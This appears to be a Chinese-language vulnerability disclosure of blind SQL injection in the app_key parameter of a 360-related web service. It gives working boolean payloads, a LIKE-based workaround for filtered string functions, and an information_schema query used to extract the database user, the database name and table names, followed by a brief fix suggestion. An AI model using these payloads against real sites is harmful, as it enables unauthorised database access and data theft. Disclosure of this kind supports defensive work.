?app_key=1'%20and%20(1=1)%20and%20'1'='1

?app_key=1'%20and%20(1=2)%20and%20'1'='1

返回内容不一致。

前者是: 

var ua_360 = false;var server_data = [];

后者是:

var ua_360 = false;var server_data = [....一堆内容......];

2. 判断用户长度。

?app_key=1'%20and%20(length(user())%3E22)%20and%20'1'='1

3. 但是当想进一步获取内容时,调用某些函数,例如substring, left, right 时,状况是:

var ua_360 = false;var server_data = 这里变得没内容了。

4. 因而看来这里应该是做了某些安全防护,对某些函数加以过滤了?

于是换个方式获取下内容:

?app_key=1'%20and (user() like 'o%') and%20'1'='1

返回 var ua_360 = false;var server_data = []; 说明 用户名第一个字母是 o

依次类推,可以得到用户为 OPEN_SE@220.***.***.186

数据库名为 OPEN_SE_360_CN

5. 进一步为了获得表名,写个程序跑了跑。

?app_key=1'%20and%20((select/**/group_concat(table_name)/**/from%20information_schema.tables)%20like%20'%CHARACTER_SETS[待跑内容]')%20and%20'1'='1

可得到结果如下:

EXTENSION

EXTENSION_ENABLED

EXTENSION_LATEST

LOG_2012

...

修复方案:

对 app_key 参数过滤下。